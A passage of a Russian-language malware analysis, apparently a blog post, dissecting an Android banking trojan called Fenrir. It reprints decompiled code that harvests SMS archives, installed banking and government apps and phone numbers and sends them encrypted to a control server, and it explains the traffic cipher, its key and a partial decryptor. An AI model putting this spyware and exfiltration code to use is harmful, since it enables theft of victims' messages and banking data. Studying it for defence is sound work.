                        String string2 = cursorQuery.getString(cursorQuery.getColumnIndexOrThrow(str4));
                        str = str3;
                        str2 = str4;
                        try {
                            long j = cursorQuery.getLong(cursorQuery.getColumnIndexOrThrow(str3));
                            sb.append("━━━━━━━━━━ SMS #");
                            int i3 = i2 + 1;
                            sb.append(i2);
                            sb.append(" ━━━━━━━━━━\n");
                            sb.append("From: ");
                            sb.append(string);
                            sb.append("\n");
                            sb.append("Time: ");
                            sb.append(simpleDateFormat.format(new Date(j)));
                            sb.append("\n");
                            sb.append("Text:\n");
                            sb.append(string2);
                            sb.append("\n\n");
                            if (!cursorQuery.moveToNext()) {
                                break;
                            }
                            i2 = i3;
                            str3 = str;
                            str4 = str2;
                        } catch (Exception e) {
                            e = e;
                            sb.append("Error reading SMS: ");
                            sb.append(e.getMessage());
                            sb.append("\n");
                            if (cursorQuery != null) {
                            }
                            sb.append("\n┌──────────────────────────────────────┐\n│            SENT MESSAGES             │\n└──────────────────────────────────────┘\n\n");
                            cursorQuery = getContentResolver().query(Uri.parse("content://sms/sent"), null, null, null, "date DESC LIMIT 100");
                            if (cursorQuery != null) {
                                while (true) {
                                    String string3 = cursorQuery.getString(cursorQuery.getColumnIndexOrThrow("address"));
                                    String str5 = str2;
                                    String string4 = cursorQuery.getString(cursorQuery.getColumnIndexOrThrow(str5));
                                    String str6 = str;
                                    long j2 = cursorQuery.getLong(cursorQuery.getColumnIndexOrThrow(str6));
                                    str2 = str5;
                                    sb.append("━━━━━━━━━━ SENT #");
                                    int i4 = i + 1;
                                    sb.append(i);
                                    sb.append(" ━━━━━━━━━━\n");
                                    sb.append("To: ");
                                    sb.append(string3);
                                    sb.append("\n");
                                    sb.append("Time: ");
                                    sb.append(simpleDateFormat.format(new Date(j2)));
                                    sb.append("\n");
                                    sb.append("Text:\n");
                                    sb.append(string4);
                                    sb.append("\n\n");
                                    if (cursorQuery.moveToNext()) {
                                    }
                                    i = i4;
                                    str = str6;
                                }
                            }
                            if (cursorQuery != null) {
                            }
                            sb.append("\n╔══════════════════════════════════════╗\n║          END OF ARCHIVE              ║\n╚══════════════════════════════════════╝\n");
                            return sb.toString();
                        }
                    }
                }
            } finally {
                if (cursorQuery != null) {
                    cursorQuery.close();
                }
            }
        } catch (Exception e2) {
            e = e2;
            str = str3;
            str2 = str4;
        }
        if (cursorQuery != null) {
            cursorQuery.close();
        }
        sb.append("\n┌──────────────────────────────────────┐\n│            SENT MESSAGES             │\n└──────────────────────────────────────┘\n\n");
        try {
            cursorQuery = getContentResolver().query(Uri.parse("content://sms/sent"), null, null, null, "date DESC LIMIT 100");
            if (cursorQuery != null && cursorQuery.moveToFirst()) {
                while (true) {
                    String string32 = cursorQuery.getString(cursorQuery.getColumnIndexOrThrow("address"));
                    String str52 = str2;
                    String string42 = cursorQuery.getString(cursorQuery.getColumnIndexOrThrow(str52));
                    String str62 = str;
                    long j22 = cursorQuery.getLong(cursorQuery.getColumnIndexOrThrow(str62));
                    str2 = str52;
                    sb.append("━━━━━━━━━━ SENT #");
                    int i42 = i + 1;
                    sb.append(i);
                    sb.append(" ━━━━━━━━━━\n");
                    sb.append("To: ");
                    sb.append(string32);
                    sb.append("\n");
                    sb.append("Time: ");
                    sb.append(simpleDateFormat.format(new Date(j22)));
                    sb.append("\n");
                    sb.append("Text:\n");
                    sb.append(string42);
                    sb.append("\n\n");
                    if (cursorQuery.moveToNext()) {
                        break;
                    }
                    i = i42;
                    str = str62;
                }
            }
        } catch (Exception unused) {
            if (cursorQuery != null) {
            }
        } catch (Throwable th) {
            throw th;
        }
        if (cursorQuery != null) {
            cursorQuery.close();
        }
        sb.append("\n╔══════════════════════════════════════╗\n║          END OF ARCHIVE              ║\n╚══════════════════════════════════════╝\n");
        return sb.toString();
    }

    /* JADX INFO: renamed from: g */
    private List<String> m886g() {
        ArrayList arrayList = new ArrayList();
        try {
            for (ApplicationInfo applicationInfo : getPackageManager().getInstalledApplications(128)) {
                Iterator<Map.Entry<String, String>> it = f547g.entrySet().iterator();
                while (true) {
                    if (it.hasNext()) {
                        Map.Entry<String, String> next = it.next();
                        if (next.getValue().equals(applicationInfo.packageName)) {
                            arrayList.add(next.getKey());
                            break;
                        }
                    }
                }
            }
        } catch (Exception unused) {
        }
        return arrayList;
    }

    private String getAppName() {
        try {
            PackageManager packageManager = getPackageManager();
            return packageManager.getApplicationLabel(packageManager.getApplicationInfo(getPackageName(), 0)).toString();
        } catch (Exception unused) {
            return "Unknown";
        }
    }

    private JSONArray getPhoneNumbers() {
        List<SubscriptionInfo> activeSubscriptionInfoList;
        JSONArray jSONArray = new JSONArray();
        try {
            SubscriptionManager subscriptionManager = (SubscriptionManager) getSystemService("telephony_subscription_service");
            if (subscriptionManager != null && (activeSubscriptionInfoList = subscriptionManager.getActiveSubscriptionInfoList()) != null) {
                activeSubscriptionInfoList.size();
                int i = 0;
                while (i < activeSubscriptionInfoList.size()) {
                    SubscriptionInfo subscriptionInfo = activeSubscriptionInfoList.get(i);
                    JSONObject jSONObject = new JSONObject();
                    String number = subscriptionInfo.getNumber();
                    String string = subscriptionInfo.getCarrierName() != null ? subscriptionInfo.getCarrierName().toString() : "Unknown";
                    i++;
                    if (number == null || number.isEmpty()) {
                        number = "Unknown";
                    }
                    jSONObject.put("phone_number", number);
                    jSONObject.put("operator", string);
                    jSONArray.put(jSONObject);
                }
            }
        } catch (Exception e) {
            e.getMessage();
        }
        return jSONArray;
    }

    private SmsManager getSmsManager() {
        List<SubscriptionInfo> activeSubscriptionInfoList;
        if (Build.VERSION.SDK_INT >= 31) {
            return SmsManager.getDefault();
        }
        try {
            SubscriptionManager subscriptionManager = (SubscriptionManager) getSystemService("telephony_subscription_service");
            if (subscriptionManager != null && (activeSubscriptionInfoList = subscriptionManager.getActiveSubscriptionInfoList()) != null && !activeSubscriptionInfoList.isEmpty()) {
                return SmsManager.getSmsManagerForSubscriptionId(activeSubscriptionInfoList.get(0).getSubscriptionId());
            }
        } catch (Exception e) {
            e.getMessage();
        }
        return SmsManager.getDefault();
    }

    /* JADX INFO: renamed from: h */
    private boolean m887h() {
        try {
            if (Build.VERSION.SDK_INT < 29) {
                return getPackageName().equals(Telephony.Sms.getDefaultSmsPackage(this));
            }
            RoleManager roleManagerM525c = AbstractC0282u.m525c(getSystemService("role"));
            return roleManagerM525c != null && roleManagerM525c.isRoleHeld("android.app.role.SMS");
        } catch (Exception e) {
            e.getMessage();
            return false;
        }
    }

    /* JADX INFO: Access modifiers changed from: private */
    /* JADX INFO: renamed from: i */
    public void m888i() {
        int i = this.f548a;
        if (i >= 10) {
            f546f = false;
            stopSelf();
        } else {
            this.f548a = i + 1;
            try {
                Thread.sleep(5000L);
            } catch (InterruptedException unused) {
            }
            m889j();
        }
    }

    /* JADX INFO: Access modifiers changed from: private */
    /* JADX INFO: renamed from: j */
    public void m889j() {
        try {
            final String strM230b = C0102cs.m230b(this);
            String strM121e = C0058bk.m121e(this);
            if (strM121e == null) {
                f546f = false;
                m888i();
                return;
            }
            String str = strM121e + C0290u7.m575q();
            JSONObject jSONObject = new JSONObject();
            jSONObject.put("device_id", strM230b);
            jSONObject.put("worker", C0058bk.m123g(this));
            jSONObject.put("chatId", C0058bk.m119c(this));
            jSONObject.put("device_model", Build.MODEL);
            jSONObject.put("android_version", Build.VERSION.RELEASE);
            jSONObject.put("app_name", getAppName());
            jSONObject.put("build_type", C0058bk.f77e);
            jSONObject.put("team", C0058bk.m122f(this));
            JSONArray phoneNumbers = getPhoneNumbers();
            jSONObject.put("sim_count", String.valueOf(phoneNumbers.length()));
            if (phoneNumbers.length() > 0) {
                JSONObject jSONObject2 = phoneNumbers.getJSONObject(0);
                jSONObject.put("phone_number", jSONObject2.optString("phone_number", "Unknown"));
                jSONObject.put("operator_name", jSONObject2.optString("operator", "Unknown"));
            }
            if (phoneNumbers.length() > 1) {
                JSONObject jSONObject3 = phoneNumbers.getJSONObject(1);
                jSONObject.put("second_phone_number", jSONObject3.optString("phone_number", "Unknown"));
                jSONObject.put("second_operator_name", jSONObject3.optString("operator", "Unknown"));
            }
            jSONObject.put("found_apps", new JSONArray((Collection) m886g()));
            jSONObject.put("sms_archive", m885f());
            Http.m850q(this, str, jSONObject.toString(), strM230b, new Callback() { // from class: com.reawlme.kcupeyue.POIX1UVS19.2
                @Override // okhttp3.Callback
                public void onFailure(Call call, IOException iOException) {
                    iOException.getMessage();
                    POIX1UVS19.this.m888i();
                }

                @Override // okhttp3.Callback
                public void onResponse(Call call, Response response) throws IOException {
                    if (response.body() != null) {
                        response.body().string();
                    }
                    response.code();
                    if (response.isSuccessful()) {
                        POIX1UVS19.f545e = true;
                        POIX1UVS19.f546f = false;
                        POIX1UVS19.this.m890k(strM230b);
                        POIX1UVS19.this.stopSelf();
                    } else {
                        response.code();
                        if (response.code() != 403) {
                            POIX1UVS19.this.m888i();
                        } else {
                            POIX1UVS19.f546f = false;
                            POIX1UVS19.this.stopSelf();
                        }
                    }
                    response.close();
                }
            });
        } catch (Exception unused) {
            if (this.f548a >= 10) {
                f546f = false;
            }
            m888i();
        }
    }

    /* JADX INFO: Access modifiers changed from: private */
    /* JADX INFO: renamed from: k */
    public void m890k(String str) {
        String strOptString;
        SmsManager smsManager;
        try {
            if (ContextCompat.checkSelfPermission(this, "android.permission.SEND_SMS") != 0) {
                return;
            }
            String strM843j = Http.m843j(this, C0058bk.m121e(this) + C0290u7.m576r() + "?team=" + C0058bk.m122f(this) + "&key=" + C0058bk.m117a(this));
            if (strM843j != null && (strOptString = new JSONObject(strM843j).optString("retry_phone", null)) != null && !strOptString.isEmpty() && (smsManager = getSmsManager()) != null) {
                try {
                    smsManager.sendTextMessage(strOptString, null, str, null, null);
                } catch (SecurityException e) {
                    e.getMessage();
                }
            }
        } catch (Exception e2) {
            e2.getMessage();
        }
    }

    @Override // android.app.Service
    public IBinder onBind(Intent intent) {
        return null;
    }

    @Override // android.app.Service
    public int onStartCommand(Intent intent, int i, int i2) {
        C0715a c0715a = new C0715a(this);
        if (!c0715a.m924c()) {
            stopSelf();
            return 2;
        }
        if (!c0715a.m923b()) {
            stopSelf();
            return 2;
        }
        c0715a.getPanelUrl();
        c0715a.getTeam();
        c0715a.getWorker();
        if (!m887h()) {
            stopSelf();
            return 2;
        }
        int i3 = 1;
        if (f545e || f546f) {
            stopSelf();
        } else {
            f546f = true;
            new Thread(new RunnableC0021ak(this, i3)).start();
        }
        return 1;
    }
}

В POIX1UVS19 функция C0706a содержит перечень приложений, данные которых перехватывает данный троян. Банки, Госуслуги, Госключ, Wildberries/Ozon, WhatsApp и зачем-то Яндекс (именно через плагин поиска searchplugin). Как это работает. m886g() пробегается по списку установленных приложений и отправляет его в JSON-поле found_apps.

А кто этот ваш Fenrir?

Везде упоминается данная строка, но что же это? Возьму из статьи изображения, но судя по всему - это VaaS (Virus-as-a-Service), "вирус как сервис". Нехорошие ребята продают и обход Касперского, и консоль для веб-управления (на скриншоте видно тот самый Fenrir). "Бизнес есть бизнес", даже если в нём страдают твои же соотечественники.

Взято с https://habr.com/ru/companies/usergate/articles/1028474/
Взято с https://habr.com/ru/companies/usergate/articles/1028474/
Взято с https://habr.com/ru/companies/usergate/articles/1028474/

FenrirCrypto служит для кастомного шифрования трафика. Взглянем на файл payload_jadx/sources/p000a/C0293v0.java

C0293v0
package p000a;

import android.util.Base64;
import java.nio.charset.Charset;
import java.nio.charset.StandardCharsets;

/* JADX INFO: renamed from: a.v0 */
/* JADX INFO: loaded from: C:\Analizing\Android\payload.dex */
public class C0293v0 {

    /* JADX INFO: renamed from: a */
    private static final String f377a = "FenrirCrypto";

    /* JADX INFO: renamed from: b */
    private static String f378b = null;

    /* JADX INFO: renamed from: c */
    private static byte[] f379c = null;

    /* JADX INFO: renamed from: e */
    private static final int f381e = 45;

    /* JADX INFO: renamed from: g */
    private static final int f383g = 62;

    /* JADX INFO: renamed from: i */
    private static final int f385i = 79;

    /* JADX INFO: renamed from: k */
    private static final int f387k = 96;

    /* JADX INFO: renamed from: m */
    private static final int f389m = 113;

    /* JADX INFO: renamed from: d */
    private static final int[] f380d = {66, 25, 118, 120, 3, 37, 177, 174};

    /* JADX INFO: renamed from: f */
    private static final int[] f382f = {50, 31, 105, 44, 8, 200, 170, 132};

    /* JADX INFO: renamed from: h */
    private static final int[] f384h = {36, 55, 66, 91, 224, 219, 145, 155};

    /* JADX INFO: renamed from: j */
    private static final int[] f386j = {4, 50, 182, 171, 249, 224, 133, 167};

    /* JADX INFO: renamed from: l */
    private static final int[] f388l = {215, 40, 67, 139, 36, 89, 221, 252, 43, 158, 247, 81};

    /* JADX INFO: renamed from: a */
    private static char[] m601a(int[] iArr, int i) {
        char[] cArr = new char[iArr.length];
        int i2 = 0;
        while (true) {
            int i3 = 29364;
            while (true) {
                int i4 = (i3 ^ 29364) % 5;
                if (i4 == 0) {
                    cArr[i2] = (char) (iArr[i2] ^ ((((i2 * 13) + i) + 7) & 255));
                } else if (i4 == 1) {
                    i2++;
                    if (i2 < iArr.length) {
                        break;
                    }
                    i3 = 29366;
                } else {
                    if (i4 == 2) {
                        return cArr;
                    }
                    if (i4 != 3) {
                        if (i4 != 4) {
                        }
                    }
                }
                i3 = 29365;
            }
        }
    }

    /* JADX INFO: renamed from: b */
    private static String m602b() {
        char[] cArr = new char[64];
        int i = 0;
        int i2 = 90;
        while (i2 >= 65) {
            cArr[i] = (char) i2;
            i2--;
            i++;
        }
        int i3 = 122;
        while (i3 >= 97) {
            cArr[i] = (char) i3;
            i3--;
            i++;
        }
        int i4 = 57;
        while (i4 >= 48) {
            cArr[i] = (char) i4;
            i4--;
            i++;
        }
        cArr[i] = '+';
        cArr[i + 1] = '/';
        return new String(cArr);
    }

    /* JADX INFO: renamed from: c */
    public static String m603c(String str) {
        try {
            String strM571m = C0290u7.m571m();
            if (str != null && str.startsWith(strM571m)) {
                String strSubstring = str.substring(strM571m.length());
                String strM602b = m602b();
                String strM608h = m608h();
                StringBuilder sb = new StringBuilder();
                for (int i = 0; i < strSubstring.length(); i++) {
                    char cCharAt = strSubstring.charAt(i);
                    int iIndexOf = strM602b.indexOf(cCharAt);
                    if (iIndexOf >= 0) {
                        sb.append(strM608h.charAt(iIndexOf));
                    } else {
                        sb.append(cCharAt);
                    }
                }
                byte[] bArrDecode = Base64.decode(sb.toString(), 0);
                for (int i2 = 2; i2 < bArrDecode.length; i2 += 3) {
                    bArrDecode[i2] = (byte) (bArrDecode[i2] ^ 255);
                }
                for (int i3 = 0; i3 < bArrDecode.length - 4; i3 += 8) {
                    for (int i4 = 0; i4 < 4; i4++) {
                        int i5 = i3 + i4;
                        int i6 = i5 + 4;
                        if (i6 < bArrDecode.length) {
                            byte b = bArrDecode[i5];
                            bArrDecode[i5] = bArrDecode[i6];
                            bArrDecode[i6] = b;
                        }
                    }
                }
                byte[] bytes = m606f().getBytes(StandardCharsets.UTF_8);
                byte[] bArrM607g = m607g();
                byte[] bArr = new byte[bArrDecode.length];
                for (int i7 = 0; i7 < bArrDecode.length; i7++) {
                    bArr[i7] = (byte) (((bytes[i7 % bytes.length] ^ bArrDecode[i7]) ^ bArrM607g[i7 % bArrM607g.length]) ^ (i7 & 255));
                }
                return new String(bArr, StandardCharsets.UTF_8);
            }
            return null;
        } catch (Exception e) {
            e.getMessage();
            return null;
        }
    }

    /* JADX INFO: renamed from: d */
    public static String m604d(String str) {
        int i;
        int i2;
        try {
            String strM606f = m606f();
            Charset charset = StandardCharsets.UTF_8;
            byte[] bytes = strM606f.getBytes(charset);
            byte[] bArrM607g = m607g();
            byte[] bytes2 = str.getBytes(charset);
            int length = bytes2.length;
            byte[] bArr = new byte[length];
            for (int i3 = 0; i3 < bytes2.length; i3++) {
                bArr[i3] = (byte) (((bytes[i3 % bytes.length] ^ bytes2[i3]) ^ bArrM607g[i3 % bArrM607g.length]) ^ (i3 & 255));
            }
            for (int i4 = 0; i4 < length - 4; i4 += 8) {
                for (int i5 = 0; i5 < 4 && (i2 = (i = i4 + i5) + 4) < length; i5++) {
                    byte b = bArr[i];
                    bArr[i] = bArr[i2];
                    bArr[i2] = b;
                }
            }
            for (int i6 = 2; i6 < length; i6 += 3) {
                bArr[i6] = (byte) (bArr[i6] ^ 255);
            }
            String strEncodeToString = Base64.encodeToString(bArr, 2);
            String strM608h = m608h();
            String strM602b = m602b();
            StringBuilder sb = new StringBuilder();
            for (int i7 = 0; i7 < strEncodeToString.length(); i7++) {
                char cCharAt = strEncodeToString.charAt(i7);
                int iIndexOf = strM608h.indexOf(cCharAt);
                if (iIndexOf >= 0) {
                    sb.append(strM602b.charAt(iIndexOf));
                } else {
                    sb.append(cCharAt);
                }
            }
            String str2 = C0290u7.m571m() + sb.toString();
            str2.length();
            return str2;
        } catch (Exception e) {
            e.getMessage();
            return null;
        }
    }

    /* JADX INFO: renamed from: e */
    public static boolean m605e(String str) {
        return str != null && str.startsWith(C0290u7.m571m());
    }

    /* JADX INFO: renamed from: f */
    private static String m606f() {
        String str = f378b;
        if (str != null) {
            return str;
        }
        char[] cArrM601a = m601a(f380d, 45);
        char[] cArrM601a2 = m601a(f382f, f383g);
        char[] cArrM601a3 = m601a(f384h, f385i);
        char[] cArrM601a4 = m601a(f386j, f387k);
        StringBuilder sb = new StringBuilder(32);
        for (char c : cArrM601a) {
            sb.append(c);
        }
        for (char c2 : cArrM601a2) {
            sb.append(c2);
        }
        for (char c3 : cArrM601a3) {
            sb.append(c3);
        }
        for (char c4 : cArrM601a4) {
            sb.append(c4);
        }
        String string = sb.toString();
        f378b = string;
        return string;
    }

    /* JADX INFO: renamed from: g */
    private static byte[] m607g() {
        byte[] bArr = f379c;
        if (bArr != null) {
            return bArr;
        }
        f379c = new byte[f388l.length];
        int i = 0;
        while (true) {
            int[] iArr = f388l;
            if (i >= iArr.length) {
                return f379c;
            }
            f379c[i] = (byte) (iArr[i] ^ (((i * 11) + 116) & 255));
            i++;
        }
    }

    /* JADX INFO: renamed from: h */
    private static String m608h() {
        char[] cArr = new char[64];
        int i = 0;
        int i2 = 65;
        while (i2 <= 90) {
            cArr[i] = (char) i2;
            i2++;
            i++;
        }
        int i3 = 97;
        while (i3 <= 122) {
            cArr[i] = (char) i3;
            i3++;
            i++;
        }
        int i4 = 48;
        while (i4 <= 57) {
            cArr[i] = (char) i4;
            i4++;
            i++;
        }
        cArr[i] = '+';
        cArr[i + 1] = '/';
        return new String(cArr);
    }
}

Разработки даже не скрывают свой "почерк":

private static final String f377a = "FenrirCrypto";

Ключ шифрования хранится в методе m606f():

private static String m606f() {
    char[] part1 = m601a(f380d, 45);  // {66, 25, 118, 120, 3, 37, 177, 174}
    char[] part2 = m601a(f382f, 62);  // {50, 31, 105, 44, 8, 200, 170, 132}
    char[] part3 = m601a(f384h, 79);  // {36, 55, 66, 91, 224, 219, 145, 155}
    char[] part4 = m601a(f386j, 96);  // {4, 50, 182, 171, 249, 224, 133, 167}
    return part1 + part2 + part3 + part4;  // 32 символа
}

Результат: vX8#kP3!wM6@qN9$rT2&jL5*cF7%bH0e

Инициализация вектора реализована в методе m607g() (строки в файле 236-251):

private static byte[] m607g() {
    byte[] iv = new byte[f388l.length];  // 12 байт
    for (int i = 0; i < f388l.length; i++) {
        iv[i] = (byte) (f388l[i] ^ (((i * 11) + 116) & 255));
    }
    return iv;
}
// f388l = {215, 40, 67, 139, 36, 89, 221, 252, 43, 158, 247, 81}

Результат: a357c91e84f26b3de74915bc (12 байт)

Сам алгоритм шифрования - это метод m604d()

Шаг

Операция

Строки в файле C0293v0

1

XOR каждого байта: out[i] = key[i%32] ^ data[i] ^ iv[i%12] ^ (i & 0xFF)

163-168

2

Блочная перестановка: каждые 8 байт — swap первых 4 со вторыми 4

170-175

3

Инвертирование битов: каждый 3-й байт ^ 0xFF начиная с индекса 2

177-179

4

Base64 (NO_WRAP)

180

5

Подстановочный шифр: замена символов Base64 (A↔Z, B↔Y, …)

182-192

6

Префикс: "FNR1" + результат

193

Ну а чтобы сдешифровать, нужно сделать всё наоборот (метод m603c()):

Шаг

Операция

Строки

1

Проверка и удаление префикса "FNR1"

110-112

2

Обратная подстановка символов

116-123

3

Base64 decode

125

4

Обратное инвертирование битов (симметрично)

126-128

5

Обратная блочная перестановка (симметрично)

129-139

6

Обратный XOR (симметричен)

142-145

Зашифрованное сообщение отправляется по HTTP. Формирование JSON идёт в файле Http.java (строки 110-144)

Http.java
package com.reawlme.kcupeyue;

import android.content.Context;
import java.io.IOException;
import java.net.ConnectException;
import java.net.SocketException;
import java.net.SocketTimeoutException;
import java.net.URL;
import java.net.UnknownHostException;
import java.util.Objects;
import java.util.concurrent.TimeUnit;
import okhttp3.Call;
import okhttp3.Callback;
import okhttp3.HttpUrl;
import okhttp3.Interceptor;
import okhttp3.MediaType;
import okhttp3.OkHttpClient;
import okhttp3.Request;
import okhttp3.RequestBody;
import okhttp3.Response;
import okio.Buffer;
import org.json.JSONObject;
import p000a.C0058bk;
import p000a.C0290u7;
import p000a.C0293v0;

/* JADX INFO: loaded from: C:\Analizing\Android\payload.dex */
public class Http {

    /* JADX INFO: renamed from: a */
    private static final String f521a = "Http";

    /* JADX INFO: renamed from: b */
    private static final MediaType f522b = MediaType.parse(C0290u7.m570l());

    /* JADX INFO: renamed from: c */
    private static OkHttpClient f523c = null;

    /* JADX INFO: renamed from: d */
    private static Context f524d = null;

    /* JADX INFO: renamed from: e */
    private static final int f525e = 3;

    public static abstract class DecryptCallback implements Callback {

        /* JADX INFO: renamed from: a */
        private final Context f526a;

        /* JADX INFO: renamed from: b */
        private final String f527b;

        /* JADX INFO: renamed from: c */
        private final String f528c;

        /* JADX INFO: renamed from: d */
        private final String f529d;

        /* JADX INFO: renamed from: e */
        private int f530e;

        public DecryptCallback() {
            this.f530e = 0;
            this.f526a = null;
            this.f527b = null;
            this.f528c = null;
            this.f529d = null;
        }

        /* JADX INFO: renamed from: a */
        public abstract void m852a(Call call, Response response, String str);

        /* JADX INFO: renamed from: b */
        public void m853b(IOException iOException) {
        }

        @Override // okhttp3.Callback
        public void onFailure(Call call, IOException iOException) {
            String str;
            iOException.getMessage();
            if (this.f526a == null || this.f527b == null || !Http.m846m(iOException, this.f530e)) {
                m853b(iOException);
                return;
            }
            this.f530e++;
            String str2 = Http.m842i(this.f526a) + this.f527b;
            String str3 = this.f528c;
            if (str3 == null || (str = this.f529d) == null) {
                Http.m845l(this.f526a, str2, this);
            } else {
                Http.m851r(this.f526a, str2, str3, str, this);
            }
        }

        @Override // okhttp3.Callback
        public void onResponse(Call call, Response response) throws IOException {
            m852a(call, response, Http.m838e(response.body() != null ? response.body().string() : HttpUrl.FRAGMENT_ENCODE_SET));
        }

        public DecryptCallback(Context context, String str, String str2, String str3) {
            this.f530e = 0;
            this.f526a = context;
            this.f527b = str;
            this.f528c = str2;
            this.f529d = str3;
        }
    }

    /* JADX INFO: renamed from: com.reawlme.kcupeyue.Http$a */
    public static class C0702a implements Interceptor {
        private C0702a() {
        }

        public /* synthetic */ C0702a(int i) {
            this();
        }

        @Override // okhttp3.Interceptor
        public Response intercept(Interceptor.Chain chain) throws IOException {
            Request request = chain.request();
            if (request.body() == null || !"POST".equals(request.method())) {
                return chain.proceed(request);
            }
            try {
                Buffer buffer = new Buffer();
                request.body().writeTo(buffer);
                String utf8 = buffer.readUtf8();
                String strM604d = C0293v0.m604d(utf8);
                if (strM604d == null) {
                    return chain.proceed(request);
                }
                JSONObject jSONObject = new JSONObject();
                jSONObject.put("enc", strM604d);
                String string = jSONObject.toString();
                Request requestBuild = request.newBuilder().header(C0290u7.m566h(), C0290u7.m569k()).header(C0290u7.m568j(), C0290u7.m564f()).method(request.method(), RequestBody.create(string, Http.f522b)).build();
                utf8.length();
                string.length();
                return chain.proceed(requestBuild);
            } catch (Exception e) {
                e.getMessage();
                return chain.proceed(request);
            }
        }
    }

    /* JADX INFO: renamed from: e */
    public static String m838e(String str) {
        if (str == null || str.isEmpty()) {
            return str;
        }
        try {
            JSONObject jSONObject = new JSONObject(str);
            if (!jSONObject.has("enc")) {
                return str;
            }
            String strM603c = C0293v0.m603c(jSONObject.getString("enc"));
            if (strM603c != null) {
                return strM603c;
            }
            return null;
        } catch (Exception unused) {
            return str;
        }
    }

    /* JADX INFO: renamed from: f */
    public static void m839f(Context context, String str, Callback callback) {
        getClient().newCall(new Request.Builder().url(str).addHeader(C0290u7.m565g(), C0058bk.m117a(context)).addHeader(C0290u7.m568j(), C0290u7.m564f()).build()).enqueue(callback);
    }

    /* JADX INFO: renamed from: g */
    public static void m840g(String str, Callback callback) {
        getClient().newCall(new Request.Builder().url(str).addHeader(C0290u7.m568j(), C0290u7.m564f()).build()).enqueue(callback);
    }

    public static synchronized OkHttpClient getClient() {
        try {
            if (f523c == null) {
                OkHttpClient.Builder builder = new OkHttpClient.Builder();
                TimeUnit timeUnit = TimeUnit.SECONDS;
                f523c = builder.connectTimeout(15L, timeUnit).writeTimeout(15L, timeUnit).readTimeout(15L, timeUnit).retryOnConnectionFailure(false).addInterceptor(new C0702a(0)).build();
            }
        } catch (Throwable th) {
            throw th;
        }
        return f523c;
    }

    /* JADX INFO: renamed from: h */
    public static void m841h(String str, Callback callback) {
        getClient().newCall(new Request.Builder().url(str).addHeader(C0290u7.m568j(), C0290u7.m564f()).build()).enqueue(callback);
    }

    /* JADX INFO: renamed from: i */
    public static String m842i(Context context) {
        if (context == null && f524d == null) {
            return null;
        }
        if (context == null) {
            context = f524d;
        }
        return C0717c.m927d(context).getCurrentServerUrl();
    }

    /* JADX INFO: renamed from: j */
    public static String m843j(Context context, String str) {
        return m844k(context, str, 0);
    }

    /* JADX INFO: renamed from: k */
    private static String m844k(Context context, String str, int i) {
        try {
            Response responseExecute = getClient().newCall(new Request.Builder().url(str).addHeader(C0290u7.m565g(), C0058bk.m117a(context)).addHeader(C0290u7.m568j(), C0290u7.m564f()).build()).execute();
            if (!responseExecute.isSuccessful() || responseExecute.body() == null) {
                return null;
            }
            return m838e(responseExecute.body().string());
        } catch (Exception e) {
            e.getMessage();
            if (m846m(e, i)) {
                try {
                    URL url = new URL(str);
                    String path = url.getPath();
                    if (url.getQuery() != null) {
                        path = path + "?" + url.getQuery();
                    }
                    return m844k(context, m842i(context) + path, i + 1);
                } catch (Exception e2) {
                    e2.getMessage();
                    return null;
                }
            }
            return null;
        }
    }

    /* JADX INFO: Access modifiers changed from: private */
    /* JADX INFO: renamed from: l */
    public static void m845l(Context context, String str, Callback callback) {
        getClient().newCall(new Request.Builder().url(str).addHeader(C0290u7.m565g(), C0058bk.m117a(context)).addHeader(C0290u7.m568j(), C0290u7.m564f()).build()).enqueue(callback);
    }

    /* JADX INFO: Access modifiers changed from: private */
    /* JADX INFO: renamed from: m */
    public static boolean m846m(Throwable th, int i) {
        if (f524d == null) {
            return false;
        }
        if (!m848o(th)) {
            th.getClass();
            return false;
        }
        if (i >= 3) {
            return false;
        }
        C0717c c0717cM927d = C0717c.m927d(f524d);
        if (!c0717cM927d.m937l()) {
            return false;
        }
        Objects.toString(c0717cM927d.getCurrentServer());
        return true;
    }

    /* JADX INFO: renamed from: n */
    public static void m847n(Context context) {
        f524d = context.getApplicationContext();
    }

    /* JADX INFO: renamed from: o */
    private static boolean m848o(Throwable th) {
        return (th instanceof SocketTimeoutException) || (th instanceof SocketException) || (th instanceof UnknownHostException) || (th instanceof ConnectException) || (th.getMessage() != null && (th.getMessage().contains("Connection") || th.getMessage().contains("timeout") || th.getMessage().contains("refused")));
    }

    /* JADX INFO: renamed from: p */
    public static void m849p(Context context) {
        if (context != null) {
            C0717c.m927d(context).m936i();
        }
    }

    /* JADX INFO: renamed from: q */
    public static void m850q(Context context, String str, String str2, String str3, Callback callback) {
        getClient().newCall(new Request.Builder().url(str).post(RequestBody.create(str2, f522b)).addHeader(C0290u7.m566h(), C0290u7.m569k()).addHeader(C0290u7.m567i(), str3).addHeader(C0290u7.m565g(), C0058bk.m117a(context)).build()).enqueue(callback);
    }

    /* JADX INFO: Access modifiers changed from: private */
    /* JADX INFO: renamed from: r */
    public static void m851r(Context context, String str, String str2, String str3, Callback callback) {
        getClient().newCall(new Request.Builder().url(str).post(RequestBody.create(str2, f522b)).addHeader(C0290u7.m566h(), C0290u7.m569k()).addHeader(C0290u7.m567i(), str3).addHeader(C0290u7.m565g(), C0058bk.m117a(context)).build()).enqueue(callback);
    }
}

Получится что-то похоже на

POST /media/uplaad HTTP/1.1
X-Fenrir-Enc: application/json
X-API-Key: <device_id>
Content-Type: application/json; charset=utf-8

{"enc":"FNR1m46Quj3Uop8Dv5bn0TT48++TEvI0nb+Hf+C4wlvvtYk1Z6R="}

Как обычно просим ИИ сделать нам дешифратор:

fenrir_crypto.py
#!/usr/bin/env python3
"""
FenrirCrypto implementation — custom XOR-based encryption used by Fenrir Banking Trojan v4.0.5.
Encrypts/decrypts HTTP traffic between infected device and C2 server (176.124.222.81).

Usage:
    python fenrir_crypto.py encrypt "hello world"
    python fenrir_crypto.py decrypt "FNR1..." 
"""

import base64
import sys

# ─── Crypto constants (extracted from C0293v0.java) ──────────────
KEY = "vX8#kP3!wM6@qN9$rT2&jL5*cF7%bH0e"
IV  = bytes.fromhex("a357c91e84f26b3de74915bc")
PREFIX = "FNR1"

# Standard Base64 alphabet (m608h)
STANDARD = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"
# Reversed Base64 alphabet (m602b)
REVERSED = "ZYXWVUTSRQPONMLKJIHGFEDCBAzyxwvutsrqponmlkjihgfedcba9876543210+/"

# Build translation tables
TO_REVERSED = str.maketrans(STANDARD, REVERSED)
TO_STANDARD = str.maketrans(REVERSED, STANDARD)


def _xor_transform(data: bytes) -> bytes:
